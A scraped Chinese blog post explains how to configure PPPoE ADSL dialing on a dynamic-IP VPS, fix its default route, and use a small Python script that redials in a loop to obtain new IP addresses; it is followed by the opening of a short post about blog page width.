7.1\uff0c\u975e\u5e38\u597d\uff0c\u7cfb\u7edf\u7248\u672c\u6bd4\u8f83\u65b0\uff0c\u5bf9\u811a\u672c\u7684\u652f\u6301\u4e5f\u4f1a\u66f4\u53cb\u597d\u3002\r\n<p>\r\n\t\u62e8\u53f7\u547d\u4ee4pppoe-start\u5728\u7cfb\u7edf\u4e2d\u5df2\u7ecf\u81ea\u5e26\u4e86\uff0c\u6240\u4ee5\u8fd9\u91cc\u54b1\u4eec\u76f4\u63a5\u4f7f\u7528pppoe-setup\u8bbe\u7f6e\u6211\u4eec\u7684adsl\u62e8\u53f7\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u6267\u884cpppoe-setup\u547d\u4ee4\u540e\u7ec8\u7aef\u8fd4\u56de\u5982\u4e0b\u63d0\u793a\r\n</p>\r\n<pre class=\"brush:bash;\">Welcome to the PPPoE client setup. First, I will run some checks on\r\nyour system to make sure the PPPoE client is installed properly...\r\n\r\n\r\nLOGIN NAME\r\n\r\nEnter your Login Name (default root): </pre>\r\n\u5982\u679c\u662f\u7b2c\u4e00\u6b21\u8bbe\u7f6e\u62e8\u53f7\u4f1a\u63d0\u793a\u4e0a\u9762\u90a3\u79cd\uff0c\u5982\u679c\u4e4b\u524d\u6709\u8bbe\u7f6e\u8fc7\uff0c\u4f1a\u63d0\u793a\u662f\u5426\u8986\u76d6\u4e4b\u524d\u7684\u8bb0\u5f55\u3002\r\n<p>\r\n\t\u8fd9\u91cc\u9700\u8981\u8f93\u5165adsl\u8d26\u53f7\uff0c\u8f93\u5165\u5b8c\u4e4b\u540e\u56de\u8f66\uff0c\u7ec8\u7aef\u63d0\u793a\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">INTERFACE\r\n\r\nEnter the Ethernet interface connected to the PPPoE modem\r\nFor Solaris, this is likely to be something like /dev/hme0.\r\nFor Linux, it will be ethX, where 'X' is a number.\r\n(default eth0): </pre>\r\n\u8be2\u95eepppoe\u62e8\u53f7\u4f7f\u7528\u7684\u7f51\u5361\u662f\u54ea\u4e2a\uff0c\u5f53\u524d\u8fd9\u53f0\u673a\u5668\u53ea\u6709\u4e00\u4e2a\u7f51\u5361\uff0c\u6240\u4ee5\u9009\u62e9\u9ed8\u8ba4\u7684\u5c31\u884c\uff0c\u540e\u9762\u518d\u8bf4\u591a\u7f51\u5361\u7684\u60c5\u51b5\u3002\r\n<p>\r\n\t\u8f93\u5165\u56de\u8f66\u81ea\u52a8\u9009\u62e9\u9ed8\u8ba4\u7f51\u5361\u540e\u7ec8\u7aef\u8fd4\u56de\u5982\u4e0b\u63d0\u793a\r\n</p>\r\n<pre class=\"brush:bash;\">Do you want the link to come up on demand, or stay up continuously?\r\nIf you want it to come up on demand, enter the idle time in seconds\r\nafter which the link should be dropped. If you want the link to\r\nstay up permanently, enter 'no' (two letters, lower-case.)\r\nNOTE: Demand-activated links do not interact well with dynamic IP\r\naddresses. You may have some problems with demand-activated links.\r\nEnter the demand value (default no):</pre>\r\n<p>\r\n\t\u8fd9\u4e2a\u63d0\u793a\u610f\u601d\u662f\u8be2\u95ee\u662f\u6309\u9700\u94fe\u63a5\u8fd8\u662f\u59cb\u7ec8\u4fdd\u6301\u8fde\u63a5\uff0c\u8fd9\u4e2a\u9009\u9879\u54b1\u4eec\u5728\u8def\u7531\u5668\u7684\u62e8\u53f7\u8bbe\u7f6e\u91cc\u9762\u7ecf\u5e38\u770b\u5230\uff0c\u4e00\u822c\u9009\u62e9\u59cb\u7ec8\u8fde\u63a5\uff0c\u8fd9\u91cc\u7cfb\u7edf\u9ed8\u8ba4\u9009\u62e9\u59cb\u7ec8\u8fde\u63a5\uff0c\u6240\u4ee5\u76f4\u63a5\u56de\u8f66\u5c31\u597d\u3002\r\n</p>\r\n<p>\r\n\t\u63a5\u7740\u63d0\u793a\u662f\u5426\u9700\u8981\u8bbe\u7f6eDNS\r\n</p>\r\n<pre class=\"brush:bash;\">DNS\r\n\r\nPlease enter the IP address of your ISP's primary DNS server.\r\nIf your ISP claims that 'the server will provide dynamic DNS addresses',\r\nenter 'server' (all lower-case) here.\r\nIf you just press enter, I will assume you know what you are\r\ndoing and not modify your DNS setup.\r\nEnter the DNS information here: </pre>\r\n\u8fd9\u91cc\u54b1\u4eec\u5c31\u4e0d\u9700\u8981\u8bbe\u7f6eDNS\u4e86\uff0c\u4f7f\u7528\u81ea\u52a8\u83b7\u53d6DNS\u5373\u53ef\uff0c\u76f4\u63a5\u56de\u8f66\uff0c\u4e4b\u540e\u63d0\u793a\u8f93\u5165adsl\u7684\u5bc6\u7801\r\n<pre class=\"brush:bash;\">PASSWORD\r\n\r\nPlease enter your Password:</pre>\r\n\u548c\u518d\u6b21\u8f93\u5165\u5bc6\u7801\r\n<pre class=\"brush:bash;\">Please re-enter your Password: </pre>\r\n\u7136\u540e\u4f1a\u63d0\u793a\u662f\u5426\u5141\u8bb8\u5176\u4ed6\u7528\u6237\u8fde\u63a5\r\n<pre class=\"brush:bash;\">USERCTRL\r\n\r\nPlease enter 'yes' (three letters, lower-case.) if you want to allow\r\nnormal user to start or stop DSL connection (default yes):</pre>\r\n\u8fd9\u91cc\u54b1\u4eec\u4e0d\u9700\u8981\u5176\u4ed6\u7528\u6237\u8fde\u63a5\uff0c\u6240\u4ee5\u8f93\u5165no\u56de\u8f66\uff0c\u63a5\u7740\u63d0\u793a\u9632\u706b\u5899\u8bbe\u7f6e\r\n<pre class=\"brush:bash;\">FIREWALLING\r\n\r\nPlease choose the firewall rules to use. Note that these rules are\r\nvery basic. You are strongly encouraged to use a more sophisticated\r\nfirewall setup; however, these will provide basic security. If you\r\nare running any servers on your machine, you must choose 'NONE' and\r\nset up firewalling yourself. Otherwise, the firewall rules will deny\r\naccess to all standard servers like Web, e-mail, ftp, etc. If you\r\nare using SSH, the rules will block outgoing SSH connections which\r\nallocate a privileged source port.\r\n\r\nThe firewall choices are:\r\n0 - NONE: This script will not set any firewall rules. You are responsible\r\n for ensuring the security of your machine. You are STRONGLY\r\n recommended to use some kind of firewall rules.\r\n1 - STANDALONE: Appropriate for a basic stand-alone web-surfing workstation\r\n2 - MASQUERADE: Appropriate for a machine acting as an Internet gateway\r\n for a LAN\r\nChoose a type of firewall (0-2):</pre>\r\n\u8fd9\u91cc\u6709\u4e09\u4e2a\u9009\u9879\uff0c\u5177\u4f53\u542b\u4e49\u4e0d\u591a\u8bf4\uff0c\u8fd9\u91cc\u54b1\u4eec\u4e0d\u9700\u8981\u8bbe\u7f6e\u9632\u706b\u5899\uff0c\u8f93\u51650\u56de\u8f66\u3002\r\n<p>\r\n\t\u7cfb\u7edf\u8be2\u95ee\u662f\u5426\u9700\u8981\u5f00\u673a\u542f\u52a8\u81ea\u52a8\u8fde\u63a5\r\n</p>\r\n<pre class=\"brush:bash;\">Start this connection at boot time\r\n\r\nDo you want to start this connection at boot time?\r\nPlease enter no or yes (default no):</pre>\r\n\u8f93\u5165yes\u56de\u8f66\u8bbe\u7f6e\u6210\u5f00\u673a\u81ea\u52a8\u8fde\u63a5\uff0c\u6700\u540e\u7cfb\u7edf\u5c55\u793a\u521a\u521a\u7684\u8bbe\u7f6e\u4ee5\u53ca\u8be2\u95ee\u662f\u5426\u751f\u6210\u914d\u7f6e\u6587\u4ef6\r\n<pre class=\"brush:bash;\">** Summary of what you entered **\r\n\r\nEthernet Interface: eth0\r\nUser name: adsluser\r\nActivate-on-demand: No\r\nDNS: Do not adjust\r\nFirewalling: NONE\r\nUser Control: no\r\nAccept these settings and adjust configuration files (y/n)? </pre>\r\n\u8f93\u5165y\u540e\u56de\u8f66\u6574\u4e2aadsl\u62e8\u53f7\u5c31\u8bbe\u7f6e\u5b8c\u6210\u4e86\uff0c\u7cfb\u7edf\u4f1a\u7ed9\u51fa\u4e00\u4e2a\u63d0\u793a\r\n<pre class=\"brush:bash;\">Adjusting /etc/sysconfig/network-scripts/ifcfg-ppp0\r\nAdjusting /etc/ppp/chap-secrets and /etc/ppp/pap-secrets\r\n (But first backing it up to /etc/ppp/chap-secrets.bak)\r\n (But first backing it up to /etc/ppp/pap-secrets.bak)\r\n\r\n\r\n\r\nCongratulations, it should be all set up!\r\n\r\nType '/sbin/ifup ppp0' to bring up your xDSL link and '/sbin/ifdown ppp0'\r\nto bring it down.\r\nType '/sbin/pppoe-status /etc/sysconfig/network-scripts/ifcfg-ppp0'\r\nto see the link status.</pre>\r\n\u63d0\u793a\u4e2d\u5199\u660e\u4e86\u914d\u7f6e\u6587\u4ef6\u7684\u4f4d\u7f6e\u4ee5\u53ca\u57fa\u672c\u7684\u4f7f\u7528\u65b9\u6cd5\u3002\r\n<p>\r\n\t\u5728\u6574\u4e2a\u62e8\u53f7\u8fc7\u7a0b\u4e2d\u54b1\u4eec\u80fd\u7528\u5230\u7684\u547d\u4ee4\u5dee\u4e0d\u591a\u53ea\u6709\u4e09\u4e2a\uff0cpppoe-start\u3001pppoe-stop\u3001pppoe-status\uff0cpppoe-status\u547d\u4ee4\u662f\u67e5\u8be2adsl\u62e8\u53f7\u7684\u72b6\u6001\uff0c\u81ea\u52a8\u5316\u811a\u672c\u9700\u8981\u901a\u8fc7\u8fd9\u4e2a\u547d\u4ee4\u67e5\u8be2\u662f\u5426\u62e8\u53f7\u6210\u529f\u3002\r\n</p>\r\n<p>\r\n\t\u914d\u7f6e\u5b8c\u6210\u4e4b\u540e\u54b1\u4eec\u5c31\u6765\u6d4b\u8bd5\u4e0b\u62e8\u53f7\u662f\u5426\u6210\u529f\uff0c\u76f4\u63a5\u6267\u884cpppoe-start\u547d\u4ee4\uff0c\u7a0d\u7b49\u51e0\u79d2\u949f\uff0c\u5982\u679c\u6ca1\u6709\u62a5\u9519\u7ee7\u7eed\u6267\u884cpppoe-status\u547d\u4ee4\u67e5\u8be2\u4e0b\u662f\u5426\u62e8\u53f7\u6210\u529f\u3002\r\n</p>\r\n<p>\r\n\t\u6211\u8fd9\u91cc\u7cfb\u7edf\u8fd4\u56de\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">pppoe-status: Link is up and running on interface ppp0\r\n3: ppp0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1480 qdisc pfifo_fast state UNKNOWN qlen 3\r\n link/ppp \r\n inet 10.2.115.19 peer 10.2.254.254/32 scope global ppp0\r\n valid_lft forever preferred_lft forever</pre>\r\n\u80fd\u6b63\u5e38\u83b7\u53d6\u5230ip\u5730\u5740\u5219\u4e3a\u62e8\u53f7\u6210\u529f\uff0c\u4f46\u662f\u6211\u8fd9\u91cc\u7684ip\u5730\u5740\u5f88\u660e\u663e\u662f\u4e2a\u5185\u7f51\u5730\u5740\uff0c\u5c1d\u8bd5ping baidu.com\u770b\u4e0b\u80fd\u4e0d\u80fd\u8fde\u4e0a\u5916\u7f51\uff0c\u53d1\u73b0\u5e76\u4e0d\u80fd\u8fde\u63a5\u5916\u7f51\r\n<pre class=\"brush:bash;\">ping: unknown host www.baidu.com</pre>\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u65e2\u7136\u65e0\u6cd5\u8fde\u63a5\u5916\u7f51\uff0c\u90a3\u80af\u5b9a\u662f\u6709\u95ee\u9898\u4e86\uff0c\u5148\u53bb\u770b\u4e0b\u62e8\u53f7\u7684\u914d\u7f6e\u6587\u4ef6\r\n</p>\r\n<pre class=\"brush:bash;\">[root@localhost ~]# cat /etc/ppp/pap-secrets\r\n# Secrets for authentication using PAP\r\n# client\tserver\tsecret\t\t\tIP addresses\r\n\"adsluser\"\t*\t\"123456\"\r\n[root@localhost ~]# cat /etc/ppp/chap-secrets\r\n# Secrets for authentication using CHAP\r\n# client\tserver\tsecret\t\t\tIP addresses\r\n\"adsluser\"\t*\t\"123456\"</pre>\r\n<p>\r\n\t\u786e\u8ba4\u4e86adsl\u8d26\u53f7\u5bc6\u7801\u6ca1\u6709\u95ee\u9898\uff0c\u6267\u884cifconfig\u3002\u7cfb\u7edf\u8fd4\u56de\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\r\n inet 192.168.14.40 netmask 255.255.255.0 broadcast 192.168.14.255\r\n inet6 fe80::215:5dff:fe32:ce6b prefixlen 64 scopeid 0x20<link>\r\n ether 00:15:5d:32:ce:6b txqueuelen 1000 (Ethernet)\r\n RX packets 30860 bytes 4216610 (4.0 MiB)\r\n RX errors 0 dropped 10 overruns 0 frame 0\r\n TX packets 321 bytes 24455 (23.8 KiB)\r\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\r\n\r\nlo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536\r\n inet 127.0.0.1 netmask 255.0.0.0\r\n inet6 ::1 prefixlen 128 scopeid 0x10<host>\r\n loop txqueuelen 0 (Local Loopback)\r\n RX packets 18 bytes 1778 (1.7 KiB)\r\n RX errors 0 dropped 0 overruns 0 frame 0\r\n TX packets 18 bytes 1778 (1.7 KiB)\r\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\r\n\r\nppp0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1480\r\n inet 10.2.134.26 netmask 255.255.255.255 destination 10.2.254.254\r\n ppp txqueuelen 3 (Point-to-Point Protocol)\r\n RX packets 10 bytes 102 (102.0 B)\r\n RX errors 0 dropped 0 overruns 0 frame 0\r\n TX packets 8 bytes 59 (59.0 B)\r\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\r\n</pre>\r\n<p>\r\n\t\u786e\u8ba4pppoe\u62e8\u53f7\u662f\u6b63\u5e38\u7684\uff0c\u4f46\u662fip\u5374\u663e\u793a\u5185\u7f51ip\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u8981\u5224\u65ad\u6570\u636e\u5305\u8d70\u7684\u662f\u54ea\u4e2a\u63a5\u53e3\u4e86\uff0ceth0\u662f\u76f4\u63a5\u8fde\u63a5\u5230\u5185\u7f51\u7684\u7f51\u5173\uff0cppp0\u662f\u8fde\u63a5\u7684\u5916\u7f51\uff0c\u5982\u679c\u6570\u636e\u5305\u4e00\u76f4\u8d70\u5185\u7f51\uff0c\u81ea\u7136\u662f\u4e0d\u901a\u7684\uff0c\u600e\u4e48\u5224\u65ad\u6570\u636e\u5305\u8d70\u7684\u54ea\u4e2a\u63a5\u53e3\u5462\uff1f\u4f7f\u7528route\u547d\u4ee4\u67e5\u770b\u9ed8\u8ba4\u7684\u8def\u7531\u8868\uff0c\u7cfb\u7edf\u8fd4\u56de\r\n</p>\r\n<pre class=\"brush:bash;\">[root@localhost ~]# route\r\nKernel IP routing table\r\nDestination Gateway Genmask Flags Metric Ref Use Iface\r\ndefault 192.168.14.234 0.0.0.0 UG 100 0 0 eth0\r\n10.2.254.254 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0\r\n192.168.14.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0</pre>\r\n\u663e\u793a\u9ed8\u8ba4\u7f51\u5173\u662f192.168.14.234\uff0c\u660e\u663e\u8d70\u7684\u662f\u5185\u7f51\uff0c\u8fd9\u6837\u6570\u636e\u5305\u80af\u5b9a\u662f\u51fa\u4e0d\u53bb\u7684\uff0c\u6240\u4ee5\u9700\u8981\u4fee\u6539\u4e00\u4e0b\u63a5\u53e3\u8bbe\u7f6e\uff0c\u4f7f\u7528vi\u7f16\u8f91\u4e0beth0\u63a5\u53e3\u7684\u914d\u7f6e\uff0c\u7cfb\u7edf\u8fd4\u56de\r\n<pre class=\"brush:bash;\">UUID=d1440e96-0020-4ceb-9407-a722fecb96de\r\nDEVICE=eth0\r\nBOOTPROTO=none\r\nONBOOT=yes\r\nTYPE=Ethernet\r\nDEFROUTE=yes\r\nIPV6INIT=yes\r\nIPV4_FAILURE_FATAL=no\r\nPEERDNS=yes\r\nNAME=eth0\r\n\r\nIPADDR=192.168.14.40\r\nNETMASK=255.255.255.0\r\nGATEWAY=192.168.14.234\r\nDNS1=8.8.8.8\r\nDNS2=4.4.4.4</pre>\r\n\u53ef\u4ee5\u770b\u5230 DEFROUTE=yes \u8fd9\u91cc\u8bbe\u7f6e\u6210\u4e86\u9ed8\u8ba4\u8def\u7531\uff0c\u6211\u5c06\u8fd9\u91cc\u4fee\u6539\u6210no\uff0c\u4fdd\u5b58\u7136\u540e\u4fee\u6539ppp0\u63a5\u53e3\u7684\u8bbe\u7f6e\uff0c\u7cfb\u7edf\u8fd4\u56de\r\n<pre class=\"brush:bash;\">USERCTL=no\r\nBOOTPROTO=dialup\r\nNAME=DSLppp0\r\nDEVICE=ppp0\r\nTYPE=xDSL\r\nONBOOT=yes\r\nPIDFILE=/var/run/pppoe-adsl.pid\r\nFIREWALL=NONE\r\nPING=.\r\nPPPOE_TIMEOUT=80\r\nLCP_FAILURE=3\r\nLCP_INTERVAL=20\r\nCLAMPMSS=1412\r\nCONNECT_POLL=6\r\nCONNECT_TIMEOUT=60\r\nDEFROUTE=yes\r\nSYNCHRONOUS=no\r\nETH=eth0\r\nPROVIDER=DSLppp0\r\nUSER=adsluser\r\nPEERDNS=no\r\nDEMAND=no</pre>\r\n<p>\r\n\t\u8fd9\u91cc\u7684DEFROUTE\u9009\u9879\u5df2\u7ecf\u8bbe\u7f6e\u4e3ayes\u4e86\uff0c\u6240\u4ee5\u4e0d\u9700\u8981\u4fee\u6539\uff0c\u91cd\u542f\u7cfb\u7edf\u6216\u8005\u91cd\u542f\u7f51\u5361\u540e\u518d\u6b21\u6267\u884croute\u547d\u4ee4\uff0c\u8fd4\u56de\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">[root@localhost ~]# route\r\nKernel IP routing table\r\nDestination Gateway Genmask Flags Metric Ref Use Iface\r\ndefault 0.0.0.0 0.0.0.0 U 0 0 0 ppp0\r\n10.2.254.254 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0\r\n192.168.14.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0\r\n</pre>\r\n\u9ed8\u8ba4\u63a5\u53e3\u5df2\u7ecf\u4fee\u6539\u6210\u4e86ppp0\uff0c\u5c1d\u8bd5ping www.baidu.com\u5df2\u7ecf\u53ef\u4ee5\u6b63\u5e38ping\u901a\r\n<pre class=\"brush:bash;\">[root@localhost ~]# ping www.baidu.com\r\nPING www.a.shifen.com (103.235.46.39) 56(84) bytes of data.\r\n64 bytes from 103.235.46.39: icmp_seq=1 ttl=48 time=207 ms\r\n64 bytes from 103.235.46.39: icmp_seq=2 ttl=48 time=214 ms\r\n64 bytes from 103.235.46.39: icmp_seq=3 ttl=48 time=205 ms\r\n64 bytes from 103.235.46.39: icmp_seq=4 ttl=48 time=205 ms\r\n64 bytes from 103.235.46.39: icmp_seq=5 ttl=48 time=204 ms\r\n64 bytes from 103.235.46.39: icmp_seq=7 ttl=48 time=203 ms\r\n64 bytes from 103.235.46.39: icmp_seq=9 ttl=48 time=209 ms\r\n64 bytes from 103.235.46.39: icmp_seq=10 ttl=48 time=202 ms\r\n64 bytes from 103.235.46.39: icmp_seq=11 ttl=48 time=202 ms\r\n64 bytes from 103.235.46.39: icmp_seq=12 ttl=48 time=202 ms</pre>\r\n<p>\r\n\t\uff08PS\uff1a\u8fd9\u4e2a\u5ef6\u8fdf\u6211\u8981\u7ed9\u8dea\u4e86\uff09\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u89c9\u5f97\u4e22\u5305\u4e25\u91cd\u6216\u8005\u7f51\u7edc\u4e0d\u987a\u7545\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4fee\u6539DNS\u4e3a\u7535\u4fe1\u7684114.114.114.114\r\n</p>\r\n<p>\r\n\t\u81f3\u6b64\uff0c\u670d\u52a1\u5668\u5df2\u7ecf\u80fd\u591f\u6b63\u5e38\u7684\u62e8\u53f7\u8fde\u63a5\u5916\u7f51\u4e86\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u7f16\u5199\u81ea\u52a8\u5316\u6362ip\u7684\u811a\u672c\u3002\r\n</p>\r\n<h2>\r\n\t\u811a\u672c\r\n</h2>\r\n<p>\r\n\t\u81ea\u52a8\u62e8\u53f7\u7684\u811a\u672c\u5199\u8d77\u6765\u5c31\u5f88\u5bb9\u6613\u4e86\uff0c\u4e3b\u8981\u8fd8\u662f\u7528\u5230\u4e86subprocess\u8fd9\u4e2a\u5e93\uff0c\u7528\u6765\u6267\u884c\u7cfb\u7edf\u7684\u547d\u4ee4\uff0c\u4e0b\u9762\u8d34\u51fa\u6765\u4ee3\u7801\r\n</p>\r\n<pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n# code by 92ez.com\r\n\r\nimport subprocess\r\nimport time\r\nimport sys\r\nimport re\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\n\r\n\r\ndef change_ip_for_vps():\r\n try:\r\n subprocess.Popen('pppoe-stop', shell=True, stdout=subprocess.PIPE)\r\n time.sleep(5)\r\n subprocess.Popen('pppoe-start', shell=True, stdout=subprocess.PIPE)\r\n time.sleep(5)\r\n pppoe_restart = subprocess.Popen('pppoe-status', shell=True, stdout=subprocess.PIPE)\r\n pppoe_restart.wait()\r\n pppoe_log = pppoe_restart.communicate()[0]\r\n adsl_ip = re.findall(r'inet (.+?) peer ', pppoe_log)[0]\r\n print '[*] New ip address : ' + adsl_ip\r\n return True\r\n except Exception, e:\r\n print e\r\n change_ip_for_vps()\r\n\r\nif __name__ == '__main__':\r\n count = 1\r\n while True:\r\n print '[*] \u7b2c%s\u6b21\u62e8\u53f7' % str(count)\r\n change_ip_for_vps()\r\n count += 1</pre>\r\n\u6d4b\u8bd5\u4ee3\u7801\u91cc\u9762\u7528\u5230\u4e86\u4e00\u4e9bsleep\u6765\u505a\u5ef6\u8fdf\uff0c\u5b9e\u9645\u64cd\u4f5c\u4e2d\u9002\u5f53\u8c03\u6574sleep\u7684\u503c\u6765\u8fbe\u5230\u6700\u4f18\u7684\u6548\u679c\u3002\r\n<h2>\r\n\t\u6548\u679c\r\n</h2>\r\n<p>\r\n\t\u4f7f\u7528\u4e4b\u524d\u5f53\u7136\u662f\u8981\u5177\u5907Python\u73af\u5883\uff0c\u4e0b\u9762\u662f\u4f7f\u7528\u622a\u56fe\uff08\u5faa\u73af\u62e8\u53f7\u6d4b\u8bd5\uff09</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=535\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201707/9406ebb5ef42beef296e5df4bc4ba303.png\" alt=\"\u6df1\u5ea6\u622a\u56fe20170720160300.png - \u5927\u5c0f: 113.43 KB - \u5c3a\u5bf8: 422 x 634 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"422\" height=\"634\"></a></div>\r\n\r\n<h2>\r\n\t\u6ce8\u610f\r\n</h2>\r\n<p>\r\n\t\u8fd9\u91cc\u6709\u51e0\u70b9\u9700\u8981\u989d\u5916\u6ce8\u610f\uff1a\r\n</p>\r\n<p>\r\n\t\u9996\u5148\uff0c\u52a8\u6001VPS\u670d\u52a1\u5668\u7684\u6027\u80fd\u6bd4\u8f83\u5dee\uff0c\u6bd5\u7adf\u4ef7\u683c\u4fbf\u5b9c\uff0c\u4e00\u53f0\u673a\u56683\u523020\u5757\uff0c\u5355\u6838512M\u5185\u5b582M\u5e26\u5bbd\u7528\u6765\u6302\u673a\u4e5f\u8db3\u591f\uff0c\u4f60\u5f88\u96be\u60f3\u8c61\u4f60\u6b63\u5728\u4f7f\u7528\u7684\u673a\u5668\u662f\u54ea\u4e2a\u5e74\u4ee3\u4ece\u673a\u623f\u6dd8\u6c70\u4e0b\u6765\u7684\uff0c\u7cfb\u7edf\u81ea\u5e26\u7684\u8f6f\u4ef6\u8001\u65e7\uff0c\u4e0d\u5230\u4e07\u4e0d\u5f97\u5df2\uff0c\u4e0d\u8981\u4f7f\u7528yum update \u6765\u66f4\u65b0\u7cfb\u7edf\u8f6f\u4ef6\uff0c\u8fd9\u4e2a\u64cd\u4f5c\u53ef\u80fd\u4f1a\u8017\u8d39\u4f60\u5927\u91cf\u7684\u65f6\u95f4\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u6b21\u767b\u5f55\u7cfb\u7edf\u4ee5\u540e\u4f60\u53ef\u80fd\u4f1a\u53d1\u73b0\u522b\u4eba\u4f7f\u7528\u8fc7\u7684\u75d5\u8ff9\uff0c\u6240\u4ee5\u7b2c\u4e00\u4ef6\u4e8b\u5c31\u662f\u4fee\u6539ssh\u7684\u767b\u5f55\u5bc6\u7801\uff0c\u8fd9\u79cd\u673a\u5668\u8c01\u8bf4\u7684\u51c6\u5462\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u6b21\u767b\u5f55\u8fdb\u53bb\u9700\u8981\u5b89\u88c5\u7684\u8f6f\u4ef6\u8fd8\u633a\u591a\uff0c\u4e0b\u9762\u5217\u51fa\u4e00\u4e0b\u6700\u57fa\u672c\u7684\u8f6f\u4ef6\u5305\uff1a\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u4f60\u5bf9vi\u4e0d\u591f\u719f\u7684\u8bdd\u6700\u597d\u5b89\u88c5\u4e0bvim \u4f7f\u7528 yum install vim -y \u547d\u4ee4\r\n</p>\r\n<p>\r\n\t\u5f53\u7136\uff0cwget\u4e5f\u662f\u5fc5\u5907\u7684\u8f6f\u4ef6\uff0c\u4f7f\u7528 yum install wget -y \u547d\u4ee4\r\n</p>\r\n<p>\r\n\tpython\u5347\u7ea7\u5230\u6700\u65b0\u7248\u672c yum install python-devel -y\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23447 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4e3a\u4ec0\u4e48\u6211\u7684\u535a\u5ba2\u4e3b\u8981\u533a\u57df\u53ea\u67091240px\u5bbd\u5ea6\uff1f"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-07-18, 6:42 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<p>\r\n\t\u54c8\u54c8\uff0c\u5ffd\u7136\u6709\u670b\u53cb\u95ee\u5230\u8fd9\u4e2a\u95ee\u9898\uff0c\u89c9\u5f97\u5f88\u6e05\u5947\uff0c\u90a3\u6211\u5c31\u56de\u7b54\u4e00\u4e0b\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u56e0\u4e3a\u6211\u5bb6\u91cc\u7684\u53f0\u5f0f\u673a\u663e\u793a\u5668\u662f17\u5bf8\u7684Acer\uff0c\u6700\u5927\u5206\u8fa8\u73871280*1024\uff0c\u6211\u4e60\u60ef\u5728\u5bb6\u6572\u6587\u5b57\uff0c\u6240\u4ee5\u5c31\u628a\u535a\u5ba2\u6539\u6210\u4e861240\u5bbd\u5ea6\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u5957\u535a\u5ba2\u7cfb\u7edf\u539f\u672c\u6700\u5927\u5bbd\u5ea6\u662f1024px\uff0c\u535a\u5ba2\u7cfb\u7edf\u6bd4\u8f83\u8001\uff0c\u90a3\u4e2a\u5e74\u4ee3\u786e\u5b9e\u662f\u9700\u89811024px\u5bbd\u5ea6\u6765\u517c\u5bb9\u5c0f\u5c4f\u5e55\uff0c\u800c\u4e14\u8fd9\u5957\u535a\u5ba2\u7cfb\u7edf\u662f\u4e0d\u652f\u6301\u54cd\u5e94\u5f0f\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u73b0\u5728\u8fd9\u4e2a\u52a8\u4e0d\u52a8\u5c31\u662f2k\u30014k\u30011080P\u7684\u65f6\u4ee3\uff0c\u4e5f\u8be5\u5347\u7ea7\u4e0b\u5bbd\u5ea6\u4e86\uff0c\u7b49\u6211\u5bb6\u91cc\u7684\u90a3\u53f017\u5bf8\u663e\u793a\u5668\u9000\u4f11\u4e86\u6211\u53ef\u80fd\u5c31\u4f1a\u6539\u6210\u66f4\u5927\u5bbd\u5ea6\uff0c\u9605\u8bfb\u8d77\u6765\u4e5f\u4f1a\u597d\u70b9\u3002\r\n</p>\r\n<p>\r\n\t\u4e5f\u6216\u8005\u6211\u6709\u65f6\u95f4\u4e86\uff0c\u6539\u6210\u54cd\u5e94\u5f0f\uff0c\u524d\u63d0\u662f\u6211\u6709\u7a7a\u300